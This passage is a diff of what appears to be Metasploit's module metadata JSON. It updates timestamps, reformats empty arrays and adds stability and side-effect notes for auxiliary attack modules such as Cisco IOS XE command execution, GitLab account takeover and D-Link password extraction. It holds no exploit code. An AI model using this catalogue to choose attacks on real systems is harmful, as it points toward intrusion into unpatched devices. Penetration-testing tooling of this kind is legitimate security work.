17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a,\n 17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a,\n 17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3,\n 17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a,\n 17.11.99SW\n\n NOTE: The C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273, even\n though the IOS XE version indicates they should be vulnerable to CVE-2023-20273.", "references": [ "CVE-2023-20198", "CVE-2023-20273", "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z", - "URL-https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/", + "URL-http://web.archive.org/web/20250214093736/https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/", "URL-https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml", "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/", "URL-https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/", @@ -1851,7 +1863,7 @@ "https" ], "targets": null, - "mod_time": "2023-11-06 11:40:22 +0000", + "mod_time": "2025-03-27 16:51:16 +0000", "path": "/modules/auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273.rb", "is_install_path": true, "ref_name": "admin/http/cisco_ios_xe_os_exec_cve_2023_20273", @@ -1862,25 +1874,19 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs" ] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/cisco_ssm_onprem_account": { "name": "Cisco Smart Software Manager (SSM) On-Prem Account Takeover (CVE-2024-20419)", "fullname": "auxiliary/admin/http/cisco_ssm_onprem_account", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-07-20", "type": "auxiliary", @@ -1913,7 +1919,7 @@ "https" ], "targets": null, - "mod_time": "2024-09-23 14:16:26 +0000", + "mod_time": "2025-06-23 19:38:36 +0000", "path": "/modules/auxiliary/admin/http/cisco_ssm_onprem_account.rb", "is_install_path": true, "ref_name": "admin/http/cisco_ssm_onprem_account", @@ -1934,16 +1940,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/cnpilot_r_cmd_exec": { "name": "Cambium cnPilot r200/r201 Command Execution as 'root'", "fullname": "auxiliary/admin/http/cnpilot_r_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -1974,7 +1976,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/cnpilot_r_cmd_exec.rb", "is_install_path": true, "ref_name": "admin/http/cnpilot_r_cmd_exec", @@ -1982,19 +1984,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/cnpilot_r_fpt": { "name": "Cambium cnPilot r200/r201 File Path Traversal", "fullname": "auxiliary/admin/http/cnpilot_r_fpt", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -2025,7 +2030,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/cnpilot_r_fpt.rb", "is_install_path": true, "ref_name": "admin/http/cnpilot_r_fpt", @@ -2033,19 +2038,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/contentkeeper_fileaccess": { "name": "ContentKeeper Web Appliance mimencode File Access", "fullname": "auxiliary/admin/http/contentkeeper_fileaccess", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -2076,7 +2084,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb", "is_install_path": true, "ref_name": "admin/http/contentkeeper_fileaccess", @@ -2084,19 +2092,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/dlink_dir_300_600_exec_noauth": { "name": "D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution", "fullname": "auxiliary/admin/http/dlink_dir_300_600_exec_noauth", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-02-04", "type": "auxiliary", @@ -2130,7 +2141,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb", "is_install_path": true, "ref_name": "admin/http/dlink_dir_300_600_exec_noauth", @@ -2138,19 +2149,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/dlink_dir_645_password_extractor": { "name": "D-Link DIR 645 Password Extractor", "fullname": "auxiliary/admin/http/dlink_dir_645_password_extractor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -2183,7 +2197,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb", "is_install_path": true, "ref_name": "admin/http/dlink_dir_645_password_extractor", @@ -2191,19 +2205,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/dlink_dsl320b_password_extractor": { "name": "D-Link DSL 320B Password Extractor", "fullname": "auxiliary/admin/http/dlink_dsl320b_password_extractor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -2235,7 +2252,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb", "is_install_path": true, "ref_name": "admin/http/dlink_dsl320b_password_extractor", @@ -2243,19 +2260,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/foreman_openstack_satellite_priv_esc": { "name": "Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment", "fullname": "auxiliary/admin/http/foreman_openstack_satellite_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-06-06", "type": "auxiliary", @@ -2290,7 +2310,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb", "is_install_path": true, "ref_name": "admin/http/foreman_openstack_satellite_priv_esc", @@ -2298,19 +2318,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/fortra_filecatalyst_workflow_sqli": { "name": "Fortra FileCatalyst Workflow SQL Injection (CVE-2024-5276)", "fullname": "auxiliary/admin/http/fortra_filecatalyst_workflow_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-06-25", "type": "auxiliary", @@ -2364,16 +2388,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/gitlab_password_reset_account_takeover": { "name": "GitLab Password Reset Account Takeover", "fullname": "auxiliary/admin/http/gitlab_password_reset_account_takeover", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-01-11", "type": "auxiliary", @@ -2406,7 +2426,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-27 07:44:11 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/gitlab_password_reset_account_takeover.rb", "is_install_path": true, "ref_name": "admin/http/gitlab_password_reset_account_takeover", @@ -2414,19 +2434,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/gitstack_rest": { "name": "GitStack Unauthenticated REST API Requests", "fullname": "auxiliary/admin/http/gitstack_rest", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-01-15", "type": "auxiliary", @@ -2459,7 +2483,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/gitstack_rest.rb", "is_install_path": true, "ref_name": "admin/http/gitstack_rest", @@ -2467,6 +2491,14 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -2492,9 +2524,7 @@ "auxiliary_admin/http/grafana_auth_bypass": { "name": "Grafana 2.0 through 5.2.2 authentication bypass for LDAP and OAuth", "fullname": "auxiliary/admin/http/grafana_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-08-14", "type": "auxiliary", @@ -2510,12 +2540,8 @@ "platform": "", "arch": "", "rport": 3000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, "mod_time": "2022-09-29 01:28:56 +0000", "path": "/modules/auxiliary/admin/http/grafana_auth_bypass.py", @@ -2524,20 +2550,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/hikvision_unauth_pwd_reset_cve_2017_7921": { "name": "Hikvision IP Camera Unauthenticated Password Change Via Improper Authentication Logic", "fullname": "auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-09-23", "type": "auxiliary", @@ -2592,16 +2613,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/hp_web_jetadmin_exec": { "name": "HP Web JetAdmin 6.5 Server Arbitrary Command Execution", "fullname": "auxiliary/admin/http/hp_web_jetadmin_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-04-27", "type": "auxiliary", @@ -2633,7 +2650,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb", "is_install_path": true, "ref_name": "admin/http/hp_web_jetadmin_exec", @@ -2641,19 +2658,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/ibm_drm_download": { "name": "IBM Data Risk Manager Arbitrary File Download", "fullname": "auxiliary/admin/http/ibm_drm_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-04-21", "type": "auxiliary", @@ -2695,9 +2715,7 @@ "post_auth": false, "default_credential": false, "notes": { - "Reliability": [ - - ], + "Reliability": [], "Stability": [ "crash-safe" ], @@ -2718,9 +2736,7 @@ "auxiliary_admin/http/idsecure_auth_bypass": { "name": "Control iD iDSecure Authentication Bypass (CVE-2023-6329)", "fullname": "auxiliary/admin/http/idsecure_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-11-27", "type": "auxiliary", @@ -2752,7 +2768,7 @@ "https" ], "targets": null, - "mod_time": "2024-08-19 21:17:16 +0000", + "mod_time": "2025-06-23 19:38:36 +0000", "path": "/modules/auxiliary/admin/http/idsecure_auth_bypass.rb", "is_install_path": true, "ref_name": "admin/http/idsecure_auth_bypass", @@ -2773,16 +2789,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/iis_auth_bypass": { "name": "MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass", "fullname": "auxiliary/admin/http/iis_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-07-02", "type": "auxiliary", @@ -2816,7 +2828,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/iis_auth_bypass.rb", "is_install_path": true, "ref_name": "admin/http/iis_auth_bypass", @@ -2824,19 +2836,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/intersil_pass_reset": { "name": "Intersil (Boa) HTTPd Basic Authentication Password Reset", "fullname": "auxiliary/admin/http/intersil_pass_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-09-10", "type": "auxiliary", @@ -2870,7 +2885,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/intersil_pass_reset.rb", "is_install_path": true, "ref_name": "admin/http/intersil_pass_reset", @@ -2878,19 +2893,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-service-down" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/iomega_storcenterpro_sessionid": { "name": "Iomega StorCenter Pro NAS Web Authentication Bypass", "fullname": "auxiliary/admin/http/iomega_storcenterpro_sessionid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -2921,7 +2940,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/iomega_storcenterpro_sessionid.rb", "is_install_path": true, "ref_name": "admin/http/iomega_storcenterpro_sessionid", @@ -2929,19 +2948,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/ivanti_vtm_admin": { "name": "Ivanti Virtual Traffic Manager Authentication Bypass (CVE-2024-7593)", "fullname": "auxiliary/admin/http/ivanti_vtm_admin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2024-08-05", "type": "auxiliary", @@ -2975,7 +2997,7 @@ "https" ], "targets": null, - "mod_time": "2024-08-16 15:43:34 +0000", + "mod_time": "2025-06-23 19:38:36 +0000", "path": "/modules/auxiliary/admin/http/ivanti_vtm_admin.rb", "is_install_path": true, "ref_name": "admin/http/ivanti_vtm_admin", @@ -2996,16 +3018,12 @@ }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/jboss_bshdeployer": { "name": "JBoss JMX Console Beanshell Deployer WAR Upload and Deployment", "fullname": "auxiliary/admin/http/jboss_bshdeployer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -3038,7 +3056,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/jboss_bshdeployer.rb", "is_install_path": true, "ref_name": "admin/http/jboss_bshdeployer", @@ -3046,6 +3064,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes", + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -3063,9 +3090,7 @@ "auxiliary_admin/http/jboss_deploymentfilerepository": { "name": "JBoss JMX Console DeploymentFileRepository WAR Upload and Deployment", "fullname": "auxiliary/admin/http/jboss_deploymentfilerepository", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -3098,7 +3123,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/jboss_deploymentfilerepository.rb", "is_install_path": true, "ref_name": "admin/http/jboss_deploymentfilerepository", @@ -3106,6 +3131,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes", + "artifacts-on-disk" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -3123,9 +3157,7 @@ "auxiliary_admin/http/jboss_seam_exec": { "name": "JBoss Seam 2 Remote Command Execution", "fullname": "auxiliary/admin/http/jboss_seam_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-07-19", "type": "auxiliary", @@ -3157,7 +3189,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/jboss_seam_exec.rb", "is_install_path": true, "ref_name": "admin/http/jboss_seam_exec", @@ -3165,19 +3197,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/joomla_registration_privesc": { "name": "Joomla Account Creation and Privilege Escalation", "fullname": "auxiliary/admin/http/joomla_registration_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2016-10-25", "type": "auxiliary", @@ -3213,7 +3248,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/joomla_registration_privesc.rb", "is_install_path": true, "ref_name": "admin/http/joomla_registration_privesc", @@ -3221,19 +3256,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/kaseya_master_admin": { "name": "Kaseya VSA Master Administrator Account Creation", "fullname": "auxiliary/admin/http/kaseya_master_admin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-09-23", "type": "auxiliary", @@ -3266,7 +3305,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/kaseya_master_admin.rb", "is_install_path": true, "ref_name": "admin/http/kaseya_master_admin", @@ -3274,19 +3313,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/katello_satellite_priv_esc": { "name": "Katello (Red Hat Satellite) users/update_roles Missing Authorization", "fullname": "auxiliary/admin/http/katello_satellite_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-24", "type": "auxiliary", @@ -3318,7 +3361,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb", "is_install_path": true, "ref_name": "admin/http/katello_satellite_priv_esc", @@ -3326,19 +3369,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/limesurvey_file_download": { "name": "Limesurvey Unauthenticated File Download", "fullname": "auxiliary/admin/http/limesurvey_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-10-12", "type": "auxiliary", @@ -3371,7 +3418,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/limesurvey_file_download.rb", "is_install_path": true, "ref_name": "admin/http/limesurvey_file_download", @@ -3379,19 +3426,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/linksys_e1500_e2500_exec": { "name": "Linksys E1500/E2500 Remote Command Execution", "fullname": "auxiliary/admin/http/linksys_e1500_e2500_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-02-05", "type": "auxiliary", @@ -3424,7 +3474,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb", "is_install_path": true, "ref_name": "admin/http/linksys_e1500_e2500_exec", @@ -3432,19 +3482,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/linksys_tmunblock_admin_reset_bof": { "name": "Linksys WRT120N tmUnblock Stack Buffer Overflow", "fullname": "auxiliary/admin/http/linksys_tmunblock_admin_reset_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-02-19", "type": "auxiliary", @@ -3477,7 +3530,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb", "is_install_path": true, "ref_name": "admin/http/linksys_tmunblock_admin_reset_bof", @@ -3485,19 +3538,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/linksys_wrt54gl_exec": { "name": "Linksys WRT54GL Remote Command Execution", "fullname": "auxiliary/admin/http/linksys_wrt54gl_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-18", "type": "auxiliary", @@ -3531,7 +3588,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb", "is_install_path": true, "ref_name": "admin/http/linksys_wrt54gl_exec", @@ -3539,19 +3596,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/manage_engine_dc_create_admin": { "name": "ManageEngine Desktop Central Administrator Account Creation", "fullname": "auxiliary/admin/http/manage_engine_dc_create_admin", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-12-31", "type": "auxiliary", @@ -3584,7 +3645,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-08 10:51:35 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/manage_engine_dc_create_admin.rb", "is_install_path": true, "ref_name": "admin/http/manage_engine_dc_create_admin", @@ -3592,19 +3653,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/manageengine_dir_listing": { "name": "ManageEngine Multiple Products Arbitrary Directory Listing", "fullname": "auxiliary/admin/http/manageengine_dir_listing", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-01-28", "type": "auxiliary", @@ -3637,7 +3702,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/manageengine_dir_listing.rb", "is_install_path": true, "ref_name": "admin/http/manageengine_dir_listing", @@ -3645,19 +3710,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/manageengine_file_download": { "name": "ManageEngine Multiple Products Arbitrary File Download", "fullname": "auxiliary/admin/http/manageengine_file_download", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-01-28", "type": "auxiliary", @@ -3690,7 +3758,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/manageengine_file_download.rb", "is_install_path": true, "ref_name": "admin/http/manageengine_file_download", @@ -3698,19 +3766,22 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/manageengine_pmp_privesc": { "name": "ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection", "fullname": "auxiliary/admin/http/manageengine_pmp_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-11-08", "type": "auxiliary", @@ -3743,7 +3814,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb", "is_install_path": true, "ref_name": "admin/http/manageengine_pmp_privesc", @@ -3751,19 +3822,23 @@ "post_auth": true, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/mantisbt_password_reset": { "name": "MantisBT password reset", "fullname": "auxiliary/admin/http/mantisbt_password_reset", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-04-16", "type": "auxiliary", @@ -3797,7 +3872,7 @@ "https" ], "targets": null, - "mod_time": "2023-02-08 14:30:08 +0000", + "mod_time": "2025-05-16 01:16:37 +0000", "path": "/modules/auxiliary/admin/http/mantisbt_password_reset.rb", "is_install_path": true, "ref_name": "admin/http/mantisbt_password_reset", @@ -3805,19 +3880,23 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/http/mutiny_frontend_read_delete": { "name": "Mutiny 5 Arbitrary File Read and Delete", "fullname": "auxiliary/admin/http/mutiny_frontend_read_delete", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-15", 